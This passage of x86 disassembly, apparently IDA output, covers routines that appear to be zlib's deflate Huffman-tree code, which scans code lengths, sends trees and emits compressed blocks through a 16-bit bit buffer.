		cmp	ecx, [ebp+var_8]
		jle	short loc_603E71
		mov	ecx, [ebp+var_8]
		inc	[ebp+var_4]


loc_603E71:				; CODE XREF: sub_603DDC+8Dj
		cmp	esi, [ebp+var_20]
		mov	edi, [ebp+var_C]
		mov	[edi+ebx+2], cx
		jg	short loc_603ECB
		inc	word ptr [edx+ecx*2+0B3Ch]
		and	[ebp+var_10], 0
		cmp	esi, [ebp+var_18]
		jl	short loc_603E9B
		sub	esi, [ebp+var_18]
		mov	edi, [ebp+var_24]
		mov	esi, [edi+esi*4]
		mov	[ebp+var_10], esi


loc_603E9B:				; CODE XREF: sub_603DDC+B1j
		mov	esi, [ebp+var_C]
		movzx	edi, word ptr [esi+ebx]
		mov	esi, [ebp+var_10]
		add	esi, ecx
		mov	ecx, [ebp+var_28]
		imul	esi, edi
		add	[edx+16A8h], esi
		test	ecx, ecx
		jz	short loc_603ECB
		mov	esi, [ebp+var_C]
		movzx	ecx, word ptr [esi+ecx+2]
		add	ecx, [ebp+var_10]
		imul	ecx, edi
		add	[edx+16ACh], ecx


loc_603ECB:				; CODE XREF: sub_603DDC+A0j
					; sub_603DDC+D9j
		add	[ebp+var_14], 4
		dec	[ebp+var_1C]
		jnz	loc_603E4E
		cmp	[ebp+var_4], 0
		jz	loc_603F8F
		mov	ecx, [ebp+var_8]
		lea	esi, [edx+ecx*2+0B3Ch]


loc_603EEC:				; CODE XREF: sub_603DDC+144j
		mov	ecx, [ebp+var_8]
		dec	ecx
		lea	edi, [edx+ecx*2+0B3Ch]
		jmp	short loc_603EFC
; ---------------------------------------------------------------------------


loc_603EF9:				; CODE XREF: sub_603DDC+124j
		dec	ecx
		dec	edi
		dec	edi


loc_603EFC:				; CODE XREF: sub_603DDC+11Bj
		cmp	word ptr [edi],	0
		jz	short loc_603EF9
		dec	word ptr [edx+ecx*2+0B3Ch]
		sub	[ebp+var_4], 2
		lea	ecx, [edx+ecx*2+0B3Eh]
		add	word ptr [ecx],	2
		dec	word ptr [esi]
		cmp	[ebp+var_4], 0
		jg	short loc_603EEC
		mov	ecx, [ebp+var_8]
		test	ecx, ecx
		mov	[ebp+var_4], ecx
		jz	short loc_603F8F
		mov	[ebp+var_10], esi


loc_603F2F:				; CODE XREF: sub_603DDC+1B1j
		mov	ecx, [ebp+var_10]
		movzx	ecx, word ptr [ecx]
		test	ecx, ecx
		mov	[ebp+var_14], ecx
		jz	short loc_603F82
		lea	esi, [edx+eax*4+0B5Ch]


loc_603F43:				; CODE XREF: sub_603DDC+1A4j
		sub	esi, 4
		mov	ecx, [esi]
		dec	eax
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_28], esi
		jg	short loc_603F7C
		lea	ecx, [ebx+ecx*4]
		movzx	esi, word ptr [ecx+2]
		cmp	esi, [ebp+var_4]
		jz	short loc_603F76
		mov	edi, [ebp+var_4]
		sub	edi, esi
		movzx	esi, word ptr [ecx]
		imul	edi, esi
		mov	si, word ptr [ebp+var_4]
		add	[edx+16A8h], edi
		mov	[ecx+2], si


loc_603F76:				; CODE XREF: sub_603DDC+17Fj
		dec	[ebp+var_14]
		mov	esi, [ebp+var_28]


loc_603F7C:				; CODE XREF: sub_603DDC+173j
		cmp	[ebp+var_14], 0
		jnz	short loc_603F43


loc_603F82:				; CODE XREF: sub_603DDC+15Ej
		dec	[ebp+var_4]
		sub	[ebp+var_10], 2
		cmp	[ebp+var_4], 0
		jnz	short loc_603F2F


loc_603F8F:				; CODE XREF: sub_603DDC+100j
					; sub_603DDC+14Ej
		pop	esi


loc_603F90:				; CODE XREF: sub_603DDC+5Aj
		pop	edi
		pop	ebx
		leave
		retn
sub_603DDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_603F94	proc near		; CODE XREF: sub_604E3C+10p
					; sub_604E3C+22p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		or	[ebp+var_8], 0FFFFFFFFh
		push	ebx
		push	esi
		push	edi
		push	7
		mov	esi, ecx
		movzx	ecx, word ptr [eax+2]
		pop	edx
		xor	ebx, ebx
		test	ecx, ecx
		push	4
		pop	edi
		jnz	short loc_603FBA
		push	3
		mov	edx, 8Ah
		pop	edi


loc_603FBA:				; CODE XREF: sub_603F94+1Cj
		or	word ptr [eax+esi*4+6],	0FFFFh
		test	esi, esi
		jl	loc_60404B
		add	eax, 6
		mov	[ebp+var_4], eax
		inc	esi


loc_603FD0:				; CODE XREF: sub_603F94+B5j
		mov	eax, ecx
		mov	ecx, [ebp+var_4]
		movzx	ecx, word ptr [ecx]
		inc	ebx
		cmp	ebx, edx
		jge	short loc_603FE1
		cmp	eax, ecx
		jz	short loc_604044


loc_603FE1:				; CODE XREF: sub_603F94+47j
		cmp	ebx, edi
		mov	edx, [ebp+arg_0]
		jge	short loc_603FF4
		lea	edx, [edx+eax*4+0A7Ch]
		add	[edx], bx
		jmp	short loc_604023
; ---------------------------------------------------------------------------


loc_603FF4:				; CODE XREF: sub_603F94+52j
		test	eax, eax
		jz	short loc_60400E
		cmp	eax, [ebp+var_8]
		jz	short loc_604005
		inc	word ptr [edx+eax*4+0A7Ch]


loc_604005:				; CODE XREF: sub_603F94+67j
		inc	word ptr [edx+0ABCh]
		jmp	short loc_604023
; ---------------------------------------------------------------------------


loc_60400E:				; CODE XREF: sub_603F94+62j
		cmp	ebx, 0Ah
		jg	short loc_60401C
		inc	word ptr [edx+0AC0h]
		jmp	short loc_604023
; ---------------------------------------------------------------------------


loc_60401C:				; CODE XREF: sub_603F94+7Dj
		inc	word ptr [edx+0AC4h]


loc_604023:				; CODE XREF: sub_603F94+5Ej
					; sub_603F94+78j ...
		xor	ebx, ebx
		test	ecx, ecx
		mov	[ebp+var_8], eax
		jnz	short loc_604033
		mov	edx, 8Ah
		jmp	short loc_60403A
; ---------------------------------------------------------------------------


loc_604033:				; CODE XREF: sub_603F94+96j
		cmp	eax, ecx
		jnz	short loc_60403E
		push	6
		pop	edx


loc_60403A:				; CODE XREF: sub_603F94+9Dj
		push	3
		jmp	short loc_604043
; ---------------------------------------------------------------------------


loc_60403E:				; CODE XREF: sub_603F94+A1j
		push	7
		pop	edx
		push	4


loc_604043:				; CODE XREF: sub_603F94+A8j
		pop	edi


loc_604044:				; CODE XREF: sub_603F94+4Bj
		add	[ebp+var_4], 4
		dec	esi
		jnz	short loc_603FD0


loc_60404B:				; CODE XREF: sub_603F94+2Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_603F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_604050	proc near		; CODE XREF: sub_6044ED+220p
					; sub_6044ED+22Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	[ebp+var_14], 0FFFFFFFFh
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+2]
		push	edi
		push	7
		mov	[ebp+var_8], esi
		pop	edi
		xor	esi, esi
		cmp	[ebp+var_8], esi
		push	4
		pop	ebx
		jnz	short loc_604079
		push	3
		mov	edi, 8Ah
		pop	ebx


loc_604079:				; CODE XREF: sub_604050+1Fj
		test	edx, edx
		jl	loc_6044E8
		add	ecx, 6
		inc	edx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], edx


loc_60408B:				; CODE XREF: sub_604050+492j
		mov	ecx, [ebp+var_C]
		movzx	ecx, word ptr [ecx]
		mov	edx, [ebp+var_8]
		inc	esi
		cmp	esi, edi
		mov	[ebp+var_10], edx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], esi
		jge	short loc_6040AA
		cmp	edx, ecx
		jz	loc_6044DB


loc_6040AA:				; CODE XREF: sub_604050+50j
		cmp	esi, ebx
		jge	loc_60414F


loc_6040B2:				; CODE XREF: sub_604050+F4j
		movzx	edi, word ptr [eax+edx*4+0A7Eh]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edi
		cmp	ecx, ebx
		jle	short loc_604120
		movzx	esi, word ptr [eax+edx*4+0A7Ch]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		lea	ecx, [edx+edi-10h]
		mov	edx, [ebp+var_10]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_60413A
; ---------------------------------------------------------------------------


loc_604120:				; CODE XREF: sub_604050+77j
		mov	bx, [eax+edx*4+0A7Ch]
		shl	bx, cl
		mov	ecx, [eax+16BCh]
		or	[eax+16B8h], bx
		add	ecx, edi


loc_60413A:				; CODE XREF: sub_604050+CEj
		dec	esi
		mov	[eax+16BCh], ecx
		mov	[ebp+var_4], esi
		jnz	loc_6040B2
		jmp	loc_6044B8
; ---------------------------------------------------------------------------


loc_60414F:				; CODE XREF: sub_604050+5Cj
		test	edx, edx
		jz	loc_6042DA
		cmp	edx, [ebp+var_14]
		jz	loc_6041F2
		movzx	edi, word ptr [eax+edx*4+0A7Eh]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edi
		cmp	ecx, ebx
		jle	short loc_6041CE
		movzx	esi, word ptr [eax+edx*4+0A7Ch]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		lea	ecx, [edx+edi-10h]
		mov	edx, [ebp+var_10]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_6041E8
; ---------------------------------------------------------------------------


loc_6041CE:				; CODE XREF: sub_604050+125j
		mov	bx, [eax+edx*4+0A7Ch]
		shl	bx, cl
		mov	ecx, [eax+16BCh]
		or	[eax+16B8h], bx
		add	ecx, edi


loc_6041E8:				; CODE XREF: sub_604050+17Cj
		dec	esi
		mov	[eax+16BCh], ecx
		mov	[ebp+var_4], esi


loc_6041F2:				; CODE XREF: sub_604050+10Aj
		movzx	edi, word ptr [eax+0ABEh]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edi
		cmp	ecx, ebx
		mov	[ebp+var_10], edi
		jle	short loc_604261
		movzx	esi, word ptr [eax+0ABCh]
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		mov	ecx, [ebp+var_10]
		lea	ecx, [ebx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_604277
; ---------------------------------------------------------------------------


loc_604261:				; CODE XREF: sub_604050+1B9j
		mov	di, [eax+0ABCh]
		shl	di, cl
		or	[eax+16B8h], di
		mov	edi, [ebp+var_10]
		add	ecx, edi


loc_604277:				; CODE XREF: sub_604050+20Fj
		add	esi, 0FFFFFFFDh
		cmp	ecx, 0Eh
		mov	[eax+16BCh], ecx
		jle	short loc_6042C9
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	edi, [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		add	ebx, 0FFFFFFF2h
		jmp	loc_6043B5
; ---------------------------------------------------------------------------


loc_6042C9:				; CODE XREF: sub_604050+233j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, 2
		jmp	loc_6044B2
; ---------------------------------------------------------------------------


loc_6042DA:				; CODE XREF: sub_604050+101j
		cmp	esi, 0Ah
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		jg	loc_6043D8
		movzx	edi, word ptr [eax+0AC2h]
		sub	ebx, edi
		cmp	ecx, ebx
		mov	[ebp+var_10], edi
		jle	short loc_604352
		movzx	esi, word ptr [eax+0AC0h]
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		mov	ecx, [ebp+var_10]
		lea	ecx, [ebx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_604368
; ---------------------------------------------------------------------------


loc_604352:				; CODE XREF: sub_604050+2AAj
		mov	di, [eax+0AC0h]
		shl	di, cl
		or	[eax+16B8h], di
		mov	edi, [ebp+var_10]
		add	ecx, edi


loc_604368:				; CODE XREF: sub_604050+300j
		add	esi, 0FFFFFFFDh
		cmp	ecx, 0Dh
		mov	[eax+16BCh], ecx
		jle	short loc_6043C7
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	edi, [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		add	ebx, 0FFFFFFF3h


loc_6043B5:				; CODE XREF: sub_604050+274j
					; sub_604050+451j
		mov	[eax+16B8h], si
		mov	[eax+16BCh], ebx
		jmp	loc_6044B8
; ---------------------------------------------------------------------------


loc_6043C7:				; CODE XREF: sub_604050+324j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, 3
		jmp	loc_6044B2
; ---------------------------------------------------------------------------


loc_6043D8:				; CODE XREF: sub_604050+296j
		movzx	edi, word ptr [eax+0AC6h]
		sub	ebx, edi
		cmp	ecx, ebx
		mov	[ebp+var_10], edi
		jle	short loc_60443E
		movzx	esi, word ptr [eax+0AC4h]
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		mov	ecx, [ebp+var_10]
		lea	ecx, [ebx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_604454
; ---------------------------------------------------------------------------


loc_60443E:				; CODE XREF: sub_604050+396j
		mov	di, [eax+0AC4h]
		shl	di, cl
		or	[eax+16B8h], di
		mov	edi, [ebp+var_10]
		add	ecx, edi


loc_604454:				; CODE XREF: sub_604050+3ECj
		add	esi, 0FFFFFFF5h
		cmp	ecx, 9
		mov	[eax+16BCh], ecx
		jle	short loc_6044A6
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	edi, [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		add	ebx, 0FFFFFFF7h
		jmp	loc_6043B5
; ---------------------------------------------------------------------------


loc_6044A6:				; CODE XREF: sub_604050+410j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, 7


loc_6044B2:				; CODE XREF: sub_604050+285j
					; sub_604050+383j
		mov	[eax+16BCh], ecx


loc_6044B8:				; CODE XREF: sub_604050+FAj
					; sub_604050+372j
		xor	esi, esi
		cmp	[ebp+var_8], esi
		mov	[ebp+var_14], edx
		jnz	short loc_6044C9
		mov	edi, 8Ah
		jmp	short loc_6044D1
; ---------------------------------------------------------------------------


loc_6044C9:				; CODE XREF: sub_604050+470j
		cmp	edx, [ebp+var_8]
		jnz	short loc_6044D5
		push	6
		pop	edi


loc_6044D1:				; CODE XREF: sub_604050+477j
		push	3
		jmp	short loc_6044DA
; ---------------------------------------------------------------------------


loc_6044D5:				; CODE XREF: sub_604050+47Cj
		push	7
		pop	edi
		push	4


loc_6044DA:				; CODE XREF: sub_604050+483j
		pop	ebx


loc_6044DB:				; CODE XREF: sub_604050+54j
		add	[ebp+var_C], 4
		dec	[ebp+var_18]
		jnz	loc_60408B


loc_6044E8:				; CODE XREF: sub_604050+2Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_604050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6044ED	proc near		; CODE XREF: sub_604F24+129p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Bh
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		push	edi
		jle	short loc_60455F
		mov	esi, [ebp+arg_0]
		add	esi, 0FFFFFEFFh
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		mov	[ebp+var_4], ebx
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+var_4]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF5h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_60457A
; ---------------------------------------------------------------------------


loc_60455F:				; CODE XREF: sub_6044ED+13j
		mov	edx, [ebp+arg_0]
		add	edx, 0FFFFFEFFh
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 5
		mov	[eax+16BCh], ecx


loc_60457A:				; CODE XREF: sub_6044ED+70j
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Bh
		jle	short loc_6045DD
		mov	esi, [ebp+arg_4]
		dec	esi
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		mov	[ebp+var_4], ebx
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+var_4]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF5h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_6045F3
; ---------------------------------------------------------------------------


loc_6045DD:				; CODE XREF: sub_6044ED+96j
		mov	edx, [ebp+arg_4]
		dec	edx
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 5
		mov	[eax+16BCh], ecx


loc_6045F3:				; CODE XREF: sub_6044ED+EEj
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Ch
		jle	short loc_604655
		lea	esi, [ebx-4]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		mov	[ebp+var_4], ebx
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+var_4]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF4h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_60466A
; ---------------------------------------------------------------------------


loc_604655:				; CODE XREF: sub_6044ED+10Fj
		lea	edx, [ebx-4]
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 4
		mov	[eax+16BCh], ecx


loc_60466A:				; CODE XREF: sub_6044ED+166j
		xor	edi, edi
		test	ebx, ebx
		jle	loc_604703


loc_604674:				; CODE XREF: sub_6044ED+210j
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Dh
		movzx	edx, ds:byte_60BE6C[edi]
		jle	short loc_6046DF
		movzx	esi, word ptr [eax+edx*4+0A7Eh]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+arg_8]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF3h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_6046FA
; ---------------------------------------------------------------------------


loc_6046DF:				; CODE XREF: sub_6044ED+197j
		mov	dx, [eax+edx*4+0A7Eh]
		shl	dx, cl
		or	[eax+16B8h], dx
		add	ecx, 3
		mov	[eax+16BCh], ecx


loc_6046FA:				; CODE XREF: sub_6044ED+1F0j
		inc	edi
		cmp	edi, ebx
		jl	loc_604674


loc_604703:				; CODE XREF: sub_6044ED+181j
		mov	edx, [ebp+arg_0]
		dec	edx
		lea	ecx, [eax+94h]
		call	sub_604050
		mov	edx, [ebp+arg_4]
		dec	edx
		lea	ecx, [eax+988h]
		call	sub_604050
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_6044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_604726	proc near		; CODE XREF: sub_604F24+13Ep
					; sub_604F24+1C8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx
		cmp	[eax+16A0h], ecx
		push	esi
		push	edi
		jz	loc_604A3B


loc_604740:				; CODE XREF: sub_604726+30Fj
		mov	edx, [eax+16A4h]
		movzx	edi, word ptr [edx+ecx*2]
		mov	edx, [eax+1698h]
		movzx	esi, byte ptr [ecx+edx]
		inc	ecx
		test	edi, edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], ecx
		push	10h
		jnz	short loc_6047DB
		mov	ecx, [eax+16BCh]
		lea	esi, [ebx+esi*4]
		movzx	edi, word ptr [esi+2]
		pop	edx
		sub	edx, edi
		cmp	ecx, edx
		jle	short loc_6047C7
		movzx	esi, word ptr [esi]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+arg_0]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		lea	ecx, [edx+edi-10h]
		mov	[eax+16B8h], si
		jmp	loc_604A26
; ---------------------------------------------------------------------------


loc_6047C7:				; CODE XREF: sub_604726+4Dj
		mov	dx, [esi]
		shl	dx, cl
		or	[eax+16B8h], dx
		add	ecx, edi
		jmp	loc_604A26
; ---------------------------------------------------------------------------


loc_6047DB:				; CODE XREF: sub_604726+39j
		movzx	edx, ds:byte_60C578[esi]
		mov	ecx, edx
		shl	ecx, 2
		mov	[ebp+var_4], ecx
		movzx	ecx, word ptr [ecx+ebx+406h]
		pop	ebx
		sub	ebx, ecx
		mov	[ebp+var_8], ecx
		mov	ecx, [eax+16BCh]
		cmp	ecx, ebx
		jle	short loc_60485C
		mov	edi, [ebp+arg_0]
		movzx	edi, word ptr [edi+edx*4+404h]
		mov	edx, edi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	di, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], di
		mov	edi, [ebp+var_C]
		jmp	short loc_604876
; ---------------------------------------------------------------------------


loc_60485C:				; CODE XREF: sub_604726+DAj
		mov	ebx, [ebp+arg_0]
		mov	dx, [ebx+edx*4+404h]
		shl	dx, cl
		or	[eax+16B8h], dx
		mov	edx, [ebp+var_8]
		add	ecx, edx


loc_604876:				; CODE XREF: sub_604726+134j
		mov	[eax+16BCh], ecx
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_60BD30[ecx]
		test	edx, edx
		mov	[ebp+var_4], edx
		jz	short loc_6048FE
		sub	esi, ds:dword_60C678[ecx]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edx
		cmp	ecx, ebx
		jle	short loc_6048ED
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], si
		jmp	short loc_6048F8
; ---------------------------------------------------------------------------


loc_6048ED:				; CODE XREF: sub_604726+179j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, edx


loc_6048F8:				; CODE XREF: sub_604726+1C5j
		mov	[eax+16BCh], ecx


loc_6048FE:				; CODE XREF: sub_604726+164j
		dec	edi
		cmp	edi, 100h
		jnb	short loc_604910
		movzx	ecx, ds:byte_60C378[edi]
		jmp	short loc_60491C
; ---------------------------------------------------------------------------


loc_604910:				; CODE XREF: sub_604726+1DFj
		mov	ecx, edi
		shr	ecx, 7
		movzx	ecx, ds:byte_60C478[ecx]


loc_60491C:				; CODE XREF: sub_604726+1E8j
		mov	esi, ecx
		mov	ecx, [ebp+arg_4]
		shl	esi, 2
		lea	edx, [esi+ecx]
		movzx	ecx, word ptr [edx+2]
		push	10h
		pop	ebx
		sub	ebx, ecx
		mov	[ebp+var_8], ecx
		mov	ecx, [eax+16BCh]
		cmp	ecx, ebx
		mov	[ebp+var_4], esi
		jle	short loc_604992
		movzx	esi, word ptr [edx]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_6049A4
; ---------------------------------------------------------------------------


loc_604992:				; CODE XREF: sub_604726+218j
		mov	dx, [edx]
		shl	dx, cl
		or	[eax+16B8h], dx
		mov	edx, [ebp+var_8]
		add	ecx, edx


